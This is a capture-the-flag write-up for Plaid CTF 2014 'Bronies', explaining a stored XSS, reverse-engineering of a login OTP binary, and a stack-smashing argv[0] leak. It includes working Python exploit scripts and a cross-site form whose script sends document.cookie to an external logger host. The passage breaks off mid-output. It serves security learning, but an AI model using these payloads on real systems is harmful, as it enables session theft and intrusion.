Hexcellents CTF Wiki

Plaid CTF 2014: "Bronies" Part 1. 300 out of 800 pts

Task text:

We are trying to break into eXtreme Secure Solutions, where The Plague works as a system adminstrator.
We have found that their internal company login page is at http://portal.essolutions.largestctf.com/.
Recon has also revealed that The Plague likes to browse this site during work hours: http://54.196.225.30/ using the username ponyboy2004.
Remember, our main target is to break into the company portal, *not* the pony site.

Pony portal recon

Since the task text mentions “The Plague likes to browse this site” it is clear there is some form of XSS required in the task (the company name is also a giveaway).
But let's check it out first. It turns out that http://54.196.225.30/ is a portal for “My little pony” fans with a “recognize the pony” captcha.

We create an account and try some XSS payloads. Since we don't normally know when it will work and when it won't we use netcat as a sink by sending the following to ponyboy2004:

<script src="http://swarm.cs.pub.ro:42424"> </script>
rcaragea@swarm:~$ nc -lvp 42424
listening on [any] 42424 ...
connect to [141.85.227.118] from ec2-54-86-3-216.compute-1.amazonaws.com [54.86.3.216] 39744
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34
Accept: */*
Referer: http://54.196.225.30/index.php?page=msgs&mid=11146&prevent_teams_from_stealing_your_xss_payload=15fa9400f39386ea30555e2331875571572fe5974a7374990671247f6630d923
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: swarm.cs.pub.ro:42424

Since this worked on the first try there is no need for filter bypassing or anything. We can now deliver XSS payloads and phantomjs will run them.

Admin portal recon

The site needs a username, a password and a token. We could try some SQL injections but the problem lies elsewhere. Trying various input leads to an interesting outcome: when you input a large token you get the following result:

<body>
<h1>Login status</h1>
<ul>
*** stack smashing detected ***: ./checkotp terminated
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x50)[0xf74c8980]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xeb92a)[0xf74c892a]
./checkotp[0x8048aa6]
======= Memory map: ========
08048000-08049000 r-xp 00000000 ca:00 139286                             /var/www/checkotp
08049000-0804a000 r--p 00001000 ca:00 139286                             /var/www/checkotp
0804a000-0804b000 rw-p 00002000 ca:00 139286                             /var/www/checkotp
09cc6000-09ce7000 rw-p 00000000 00:00 0                                  [heap]
f7398000-f73b4000 r-xp 00000000 ca:00 262671                             /lib/i386-linux-gnu/libgcc_s.so.1
f73b4000-f73b5000 rw-p 0001b000 ca:00 262671                             /lib/i386-linux-gnu/libgcc_s.so.1
f73be000-f73bf000 rw-p 00000000 00:00 0 
f73bf000-f73d6000 r-xp 00000000 ca:00 262723                             /lib/i386-linux-gnu/libz.so.1.2.7
f73d6000-f73d7000 r--p 00016000 ca:00 262723                             /lib/i386-linux-gnu/libz.so.1.2.7
f73d7000-f73d8000 rw-p 00017000 ca:00 262723                             /lib/i386-linux-gnu/libz.so.1.2.7
f73d8000-f73da000 r-xp 00000000 ca:00 263617                             /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so
f73da000-f73db000 r--p 00001000 ca:00 263617                             /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so
f73db000-f73dc000 rw-p 00002000 ca:00 263617                             /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so
f73dc000-f73dd000 rw-p 00000000 00:00 0 
f73dd000-f753a000 r-xp 00000000 ca:00 263628                             /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
f753a000-f753b000 ---p 0015d000 ca:00 263628                             /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
f753b000-f753d000 r--p 0015d000 ca:00 263628                             /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
f753d000-f753e000 rw-p 0015f000 ca:00 263628                             /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
f753e000-f7541000 rw-p 00000000 00:00 0 
f7541000-f76e4000 r-xp 00000000 ca:00 15270                              /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
f76e4000-f76e5000 ---p 001a3000 ca:00 15270                              /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
f76e5000-f76f4000 r--p 001a3000 ca:00 15270                              /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
f76f4000-f76fd000 rw-p 001b2000 ca:00 15270                              /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
f76fd000-f7700000 rw-p 00000000 00:00 0 
f7708000-f770b000 rw-p 00000000 00:00 0 
f770b000-f770c000 r-xp 00000000 00:00 0                                  [vdso]
f770c000-f7728000 r-xp 00000000 ca:00 262683                             /lib/i386-linux-gnu/ld-2.13.so
f7728000-f7729000 r--p 0001b000 ca:00 262683                             /lib/i386-linux-gnu/ld-2.13.so
f7729000-f772a000 rw-p 0001c000 ca:00 262683                             /lib/i386-linux-gnu/ld-2.13.so
ff9d7000-ff9f8000 rw-p 00000000 00:00 0                                  [stack]
Aborted
<li style="color: red">Username or password incorrect!</li></ul>
</body>

So it seems the login.php page uses a binary for otp checking. Let's try and download it to see what's under the hood:

$ wget http://portal.essolutions.largestctf.com/checkotp 
--2014-04-19 16:03:36--  http://portal.essolutions.largestctf.com/checkotp
Resolving portal.essolutions.largestctf.com... 54.83.62.45
Connecting to portal.essolutions.largestctf.com|54.83.62.45|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9616 (9.4K)
Saving to: 'checkotp'
 
100%[==================================================================================================================================================================================>] 9,616       --.-K/s   in 0.006s  
 
2014-04-19 16:03:36 (1.46 MB/s) - 'checkotp' saved [9616/9616]
 
$ file checkotp 
checkotp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=70a59a902eb6702adf899b2aa35d151eee119b2a, stripped

Binary analysis

Since it's 32 bit we can decompile it pretty much cleanly. The main() function calls check_routine():

int __cdecl check_routine(const char *username, const char *password, int otp)
{
  size_t passlen; // ebp@1
  size_t userlen; // eax@1
  int passlen2; // edx@1
  int v6; // ecx@2
  int strlen_adjust; // eax@2
  int correct_otp; // ebx@4
  int v9; // ecx@4
  int result; // eax@4
  __int32 time_interv; // [sp+28h] [bp-B4h]@1
  char sha_ctx; // [sp+2Ch] [bp-B0h]@1
  unsigned int v13; // [sp+9Ch] [bp-40h]@4
  int v14; // [sp+BCh] [bp-20h]@1
 
  v14 = *MK_FP(__GS__, 20);
  passlen = strlen(password);
  memfrob(password, passlen);
  memcpy(pass_bss_buf, password, 0x80u);
  pass_bss_nullbyte = 0;
  memset((void *)password, 0, passlen);
  strncpy(user_bss_buf, username, 0x10u);
  user_bss_nullbyte = 0;
  time_interv = time(0) / 600;
  SHA256_Init(&sha_ctx);
  userlen = strlen(user_bss_buf);
  SHA256_Update(&sha_ctx, user_bss_buf, userlen);
  SHA256_Update(&sha_ctx, ":", 1);
  passlen2 = (int)pass_bss_buf;
  do
  {
    v6 = *(_DWORD *)passlen2;
    passlen2 += 4;
    strlen_adjust = ~v6 & (v6 - 0x1010101) & 0x80808080;// optimized strlen
  }
  while ( !strlen_adjust );
  if ( !(strlen_adjust & 0x8080) )
  {
    strlen_adjust = (unsigned int)strlen_adjust >> 16;// optimized strlen
    passlen2 += 2;
  }
  SHA256_Update(
    &sha_ctx,
    pass_bss_buf,
    passlen2 - (__CFADD__((_BYTE)strlen_adjust, (_BYTE)strlen_adjust) + 3) - (_DWORD)pass_bss_buf);
  SHA256_Update(&sha_ctx, ":", 1);
  SHA256_Update(&sha_ctx, &time_interv, 4);
  SHA256_Final(&v13, &sha_ctx);
  correct_otp = strtol((const char *)otp, 0, 10) == v13 % 3133337;
  check_token(user_bss_buf, (char *)otp, correct_otp);
  result = correct_otp;
  if ( *MK_FP(__GS__, 20) != v14 )
    __stack_chk_fail(v9, *MK_FP(__GS__, 20) ^ v14);
  return result;
}

The overflow occurs in check_token():

int __cdecl check_token(char *username, char *otpbuf, int correct_flag)
{
  int out_string; // eax@1
  FILE *nullfd; // ebx@3
  int v5; // edx@3
  int v6; // ecx@3
  int result; // eax@3
  char outbuf[16]; // [sp+2Ch] [bp-50h]@3
  int v9; // [sp+6Ch] [bp-10h]@1
 
  v9 = *MK_FP(__GS__, 20);
  out_string = (int)"Incorrect";
  if ( correct_flag )
    out_string = (int)"Correct";
  sprintf(outbuf, "%s OTP attempt: %s:%s", out_string, username, otpbuf);
  nullfd = fopen("/dev/null", "r");
  fputs(outbuf, nullfd);
  fclose(nullfd);
  result = *MK_FP(__GS__, 20) ^ v9;
  if ( *MK_FP(__GS__, 20) != v9 )
    __stack_chk_fail(v6, v5);
  return result;
}

From the analysis we observe that the binary is (probably) not really exploitable. Since the token is predictable we can try logging in to at least see what is printed:

gdb-peda$ b *0x08048c81
Breakpoint 1 at 0x8048c81
gdb-peda$ run
Starting program: /ctf/Hexcellents/pctf2014/bronies/./checkotp 
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
/ctf/Hexcellents/pctf2014/bronies/./checkotp: /usr/lib32/libcrypto.so.1.0.0: no version information available (required by /ctf/Hexcellents/pctf2014/bronies/./checkotp)
admin
pass
2742162
[----------------------------------registers-----------------------------------]
EAX: 0x527021cf 
EBX: 0x9d729 
ECX: 0x39b2a94a 
EDX: 0x804b108 ("2742162\n")
ESI: 0x29d792 
EDI: 0x804a0c0 ("admin\n")
EBP: 0x5 
ESP: 0xffffccc0 --> 0x804a0c0 ("admin\n")
EIP: 0x8048c81 (cmp    esi,ebx)
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048c75:	imul   edx,edx,0x2fcf99
   0x8048c7b:	sub    ebx,edx
   0x8048c7d:	mov    edx,DWORD PTR [esp+0x1c]
=> 0x8048c81:	cmp    esi,ebx
   0x8048c83:	sete   bl
   0x8048c86:	movzx  ebx,bl
   0x8048c89:	mov    DWORD PTR [esp+0x4],edx
   0x8048c8d:	mov    DWORD PTR [esp+0x8],ebx
[------------------------------------stack-------------------------------------]
0000| 0xffffccc0 --> 0x804a0c0 ("admin\n")
0004| 0xffffccc4 --> 0x0 
0008| 0xffffccc8 --> 0xa ('\n')
0012| 0xffffcccc --> 0x0 
0016| 0xffffccd0 --> 0x1001 
0020| 0xffffccd4 --> 0x90 
0024| 0xffffccd8 --> 0x804b008 ("admin\n")
0028| 0xffffccdc --> 0x804b108 ("2742162\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
 
Breakpoint 1, 0x08048c81 in ?? ()
 
 
[ esi contains our input and ebx the correct input ]
 
 
gdb-peda$ run
Starting program: /ctf/Hexcellents/pctf2014/bronies/./checkotp 
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
/ctf/Hexcellents/pctf2014/bronies/./checkotp: /usr/lib32/libcrypto.so.1.0.0: no version information available (required by /ctf/Hexcellents/pctf2014/bronies/./checkotp)
admin
pass
644905
[----------------------------------registers-----------------------------------]
EAX: 0x527021cf 
EBX: 0x9d729 
ECX: 0x39b2a94a 
EDX: 0x804b108 ("644905\n")
ESI: 0x9d729 
EDI: 0x804a0c0 ("admin\n")
EBP: 0x5 
ESP: 0xffffccc0 --> 0x804a0c0 ("admin\n")
EIP: 0x8048c81 (cmp    esi,ebx)
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048c75:	imul   edx,edx,0x2fcf99
   0x8048c7b:	sub    ebx,edx
   0x8048c7d:	mov    edx,DWORD PTR [esp+0x1c]
=> 0x8048c81:	cmp    esi,ebx
   0x8048c83:	sete   bl
   0x8048c86:	movzx  ebx,bl
   0x8048c89:	mov    DWORD PTR [esp+0x4],edx
   0x8048c8d:	mov    DWORD PTR [esp+0x8],ebx
[------------------------------------stack-------------------------------------]
0000| 0xffffccc0 --> 0x804a0c0 ("admin\n")
0004| 0xffffccc4 --> 0x0 
0008| 0xffffccc8 --> 0xa ('\n')
0012| 0xffffcccc --> 0x0 
0016| 0xffffccd0 --> 0x1001 
0020| 0xffffccd4 --> 0x90 
0024| 0xffffccd8 --> 0x804b008 ("admin\n")
0028| 0xffffccdc --> 0x804b108 ("644905\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
 
Breakpoint 1, 0x08048c81 in ?? ()
gdb-peda$ continue
Continuing.
<li>OTP correct...</li>
[Inferior 1 (process 2357) exited normally]

Output from the server when we enter the data above:

<body>
<h1>Login status</h1>
<ul>
<li>OTP correct...</li>
<li style="color: red">Username or password incorrect!</li></ul>
</body>

SSP argv[0] exploitation

We can however use the password buffer to print out any 127 byte string (with some limitations) by overwriting argv[0] which will be used when the stack smashing protector aborts execution. The trick is to put a breakpoint on fortify_fail and compute the offsets. Entering

 A, B and AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A 

and stopping on the dereferencing instruction we get the needed size:

gdb-peda$ b __fortify_fail 
Breakpoint 1 at 0xf7da0f40
gdb-peda$ continue
A
B
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A
 
 
[...step until the critical instruction]
 
 
[----------------------------------registers-----------------------------------]
EAX: 0xffffce74 --> 0xffffd03e ("/ctf/Hexcellents/pctf2014/bronies/./checkotp")
EBX: 0xf7e3be54 --> 0x1a6d5c 
ECX: 0x804b1f8 --> 0x0 
EDX: 0xf7e3c430 --> 0x804b1f8 --> 0x0 
ESI: 0xf7dfdc59 ("*** %s ***: %s terminated\n")
EDI: 0xf7dfbb91 ("<unknown>")
EBP: 0xf7dfdc41 ("stack smashing detected")
ESP: 0xffffcc00 --> 0x804b200 --> 0x0 
EIP: 0xf7da0f66 (<__fortify_fail+38>:	mov    eax,DWORD PTR [eax])
EFLAGS: 0x200286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7da0f54 <__fortify_fail+20>:	lea    edi,[ebx-0x402c3]
   0xf7da0f5a <__fortify_fail+26>:	lea    esi,[ebx-0x3e1fb]
   0xf7da0f60 <__fortify_fail+32>:	mov    eax,DWORD PTR [ebx+0x37ec]
=> 0xf7da0f66 <__fortify_fail+38>:	mov    eax,DWORD PTR [eax]
   0xf7da0f68 <__fortify_fail+40>:	mov    DWORD PTR [esp+0x8],ebp
   0xf7da0f6c <__fortify_fail+44>:	mov    DWORD PTR [esp+0x4],esi
   0xf7da0f70 <__fortify_fail+48>:	mov    DWORD PTR [esp],0x2
   0xf7da0f77 <__fortify_fail+55>:	test   eax,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcc00 --> 0x804b200 --> 0x0 
0004| 0xffffcc04 --> 0x0 
0008| 0xffffcc08 --> 0x2 
0012| 0xffffcc0c --> 0xf7cfe37c (<fclose+332>:	mov    eax,edi)
0016| 0xffffcc10 --> 0x0 
0020| 0xffffcc14 --> 0x0 
0024| 0xffffcc18 --> 0xf7da0f4b (<__fortify_fail+11>:	add    ebx,0x9af09)
0028| 0xffffcc1c --> 0xf7e3be54 --> 0x1a6d5c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7da0f66 in __fortify_fail () from /lib32/libc.so.6
gdb-peda$ find AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A
Searching for 'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A' in: None ranges
Found 3 results, display max 3 items:
 [heap] : 0x804b108 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A"...)
 mapped : 0xf7fd9000 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A"...)
[stack] : 0xffffcc86 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A"...)
 
 
[ 0xffffce74 is the contents of EAX (argv[0]) and 0xffffcc86 is the start of our input ]
 
gdb-peda$ p 0xffffce74 - 0xffffcc86
$1 = 0x1ee
gdb-peda$ pattc 0x1ee
'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1AaCAacAa2AaDAadAa3AaEAaeAa4AaFAafAa5AaGAagAa6AaHAahAa7AaIAaiAa8AaJAajAa9AaKAakAaLAalAaMAamAaNAanAaOAaoAaPAapAaQAaqAaRAarAaSAasAaTAatAaUAauAaVAavAaWAawAaXAaxAaYAayAaZAazA0aA00A0BA0bA01A0CA0cA02A0DA0dA03A0EA0eA04A0FA0fA05A0GA0gA06A0HA0hA07A0IA0iA08A0JA0jA09A0KA0kA0LA0lA0MA0mA0NA0nA0OA0oA0PA0pA0QA'
 
gdb-peda$ run
Starting program: /ctf/Hexcellents/pctf2014/bronies/./checkotp 
A
B 
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1AaCAacAa2AaDAadAa3AaEAaeAa4AaFAafAa5AaGAagAa6AaHAahAa7AaIAaiAa8AaJAajAa9AaKAakAaLAalAaMAamAaNAanAaOAaoAaPAapAaQAaqAaRAarAaSAasAaTAatAaUAauAaVAavAaWAawAaXAaxAaYAayAaZAazA0aA00A0BA0bA01A0CA0cA02A0DA0dA03A0EA0eA04A0FA0fA05A0GA0gA06A0HA0hA07A0IA0iA08A0JA0jA09A0KA0kA0LA0lA0MA0mA0NA0nA0OA0oA0PA0pA0QAABCD
 
 
[...skip like before]
gdb-peda$ 
[----------------------------------registers-----------------------------------]
EAX: 0x44434241 ('ABCD')
EBX: 0xf7e3be54 --> 0x1a6d5c 
ECX: 0x804b2f8 --> 0xa4443 ('CD\n')
EDX: 0xf7e3c430 --> 0x804b2f8 --> 0xa4443 ('CD\n')
ESI: 0xf7dfdc59 ("*** %s ***: %s terminated\n")
EDI: 0xf7dfbb91 ("<unknown>")
EBP: 0xf7dfdc41 ("stack smashing detected")
ESP: 0xffffcc00 --> 0x804b300 --> 0x0 
EIP: 0xf7da0f68 (<__fortify_fail+40>:	mov    DWORD PTR [esp+0x8],ebp)
EFLAGS: 0x200286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7da0f5a <__fortify_fail+26>:	lea    esi,[ebx-0x3e1fb]
   0xf7da0f60 <__fortify_fail+32>:	mov    eax,DWORD PTR [ebx+0x37ec]
   0xf7da0f66 <__fortify_fail+38>:	mov    eax,DWORD PTR [eax]
=> 0xf7da0f68 <__fortify_fail+40>:	mov    DWORD PTR [esp+0x8],ebp

Now instead of ABCD we can set the BSS password buffer and so we get 127 bytes of output. There are however some limitations: the memory is first “frobbed” (xored with 42) so there are a few characters that are blacklisted.

Proof of concept

We make a script and then check against the remote server:

create_otp_payload.py
#!/usr/bin/python
 
import requests
import struct
import urllib
 
def do_request(url, post_dict = None, cookie_dict = None):
	r = requests.post(url, data=post_dict, headers = {'content-type': 'application/x-www-form-urlencoded'} )
	print r.content
 
 
def pad_to(s, pad_len):
	pad_char = 'Q'
	return (s + pad_char * (pad_len - len(s) ))[:pad_len]
 
def frob(s):
	out = []
	for i in s:
		if i == ' ' or i == '*' or i == "'" :
			print "ERROR. character [%s] not allowed in payload" % i
			exit(-1)
		out.append(chr( 42 ^ ord(i) ) )
	return ''.join(out)
 
def create_credentials(s):
	username = "A"
	password = pad_to(urllib.quote(frob(s)),127*2)
	token = "A" * (460 + 50 ) + struct.pack("<I", 0x804a040)
	token = urllib.quote(token)
	return (username, password, token)
 
def send_xss_payload(s):
	(username, password, token) = create_credentials(s)
	print "Password is %d bytes long" % len(password)
	d = "username=%s&password=%s&otp=%s" % (username, password, token)
	url = 'http://portal.essolutions.largestctf.com/login.php'
	print d
	do_request(url, d)
 
 
if __name__ == "__main__":
	send_xss_payload(""""<script>alert("HAU!")</script>""")
 $ python create_otp_payload.py
Password is 254 bytes long
username=A&password=%08%16YIXCZ%5E%14KFOX%5E%02%08bk%7F%0B%08%03%16%05YIXCZ%5E%14QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&otp=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40%A0%04%08
<body>
<h1>Login status</h1>
<ul>
*** stack smashing detected ***: "<script>alert("HAU!")</script>{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{ terminated
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x50)[0xf750d980]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xeb92a)[0xf750d92a]
"<script>alert("HAU!")</script>{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{[0x8048aa6]
======= Memory map: ========
08048000-08049000 r-xp 00000000 ca:00 139286                             /var/www/checkotp
08049000-0804a000 r--p 00001000 ca:00 139286                             /var/www/checkotp
0804a000-0804b000 rw-p 00002000 ca:00 139286                             /var/www/checkotp
09442000-09463000 rw-p 00000000 00:00 0                                  [heap]
f73dd000-f73f9000 r-xp 00000000 ca:00 262671                             /lib/i386-linux-gnu/libgcc_s.so.1
f73f9000-f73fa000 rw-p 0001b000 ca:00 262671                             /lib/i386-linux-gnu/libgcc_s.so.1
f7403000-f7404000 rw-p 00000000 00:00 0 
f7404000-f741b000 r-xp 00000000 ca:00 262723                             /lib/i386-linux-gnu/libz.so.1.2.7
f741b000-f741c000 r--p 00016000 ca:00 262723                             /lib/i386-linux-gnu/libz.so.1.2.7
f741c000-f741d000 rw-p 00017000 ca:00 262723                             /lib/i386-linux-gnu/libz.so.1.2.7
f741d000-f741f000 r-xp 00000000 ca:00 263617                             /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so
f741f000-f7420000 r--p 00001000 ca:00 263617                             /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so
f7420000-f7421000 rw-p 00002000 ca:00 263617                             /lib/i386-linux-gnu/i686/cmov/libdl-2.13.so
f7421000-f7422000 rw-p 00000000 00:00 0 
f7422000-f757f000 r-xp 00000000 ca:00 263628                             /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
f757f000-f7580000 ---p 0015d000 ca:00 263628                             /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
f7580000-f7582000 r--p 0015d000 ca:00 263628                             /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
f7582000-f7583000 rw-p 0015f000 ca:00 263628                             /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
f7583000-f7586000 rw-p 00000000 00:00 0 
f7586000-f7729000 r-xp 00000000 ca:00 15270                              /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
f7729000-f772a000 ---p 001a3000 ca:00 15270                              /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
f772a000-f7739000 r--p 001a3000 ca:00 15270                              /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
f7739000-f7742000 rw-p 001b2000 ca:00 15270                              /usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
f7742000-f7745000 rw-p 00000000 00:00 0 
f774d000-f7750000 rw-p 00000000 00:00 0 
f7750000-f7751000 r-xp 00000000 00:00 0                                  [vdso]
f7751000-f776d000 r-xp 00000000 ca:00 262683                             /lib/i386-linux-gnu/ld-2.13.so
f776d000-f776e000 r--p 0001b000 ca:00 262683                             /lib/i386-linux-gnu/ld-2.13.so
f776e000-f776f000 rw-p 0001c000 ca:00 262683                             /lib/i386-linux-gnu/ld-2.13.so
ffec4000-ffee5000 rw-p 00000000 00:00 0                                  [stack]
Aborted
<li style="color: red">Username or password incorrect!</li></ul>
</body>

Sending the exploit

We reuse this to output a classic cookie stealing payload. We need however to input the data as POST form data. We create the payload to input into the pony site using the following script:

create_xss_external.py
#!/usr/bin/python
# test: $ python create_xss_external.py > ponei.html, load ponei.html in browser
 
import urllib
from create_otp_payload import create_credentials
 
 
YOUR_IP = "swarm.cs.pub.ro:42424"
s   = """<script>document.location="http://%s/logger.php?cookie="+document.cookie;</script>""" % YOUR_IP
(username, password, token) = create_credentials(s)
 
username = urllib.unquote(username)
password = urllib.unquote(password)
token = urllib.unquote(token)
 
 
 
password = password.encode('string_escape')
token = token.encode('string_escape')
 
print """
<form action="http://portal.essolutions.largestctf.com/login.php" method="post" id="leet">
        <input type="hidden" id="username" name="username" value="a">
        <input type="hidden" id="otp" name="otp" value="b">
        <input type="hidden" id="password" name="password" value="c">
</form>
 
<script>
        document.getElementById("username").value = "{username}";
        document.getElementById("otp").value = "{token}";
        document.getElementById("password").value = "{password}";
 
        document.getElementById("leet").submit();
</script>
""".format(username=username, password=password, token=token)

Output:

<form action="http://portal.essolutions.largestctf.com/login.php" method="post" id="leet">
	<input type="hidden" id="username" name="username" value="a">
	<input type="hidden" id="otp" name="otp" value="b">
	<input type="hidden" id="password" name="password" value="c">
</form>
 
<script>
	document.getElementById("username").value = "A";
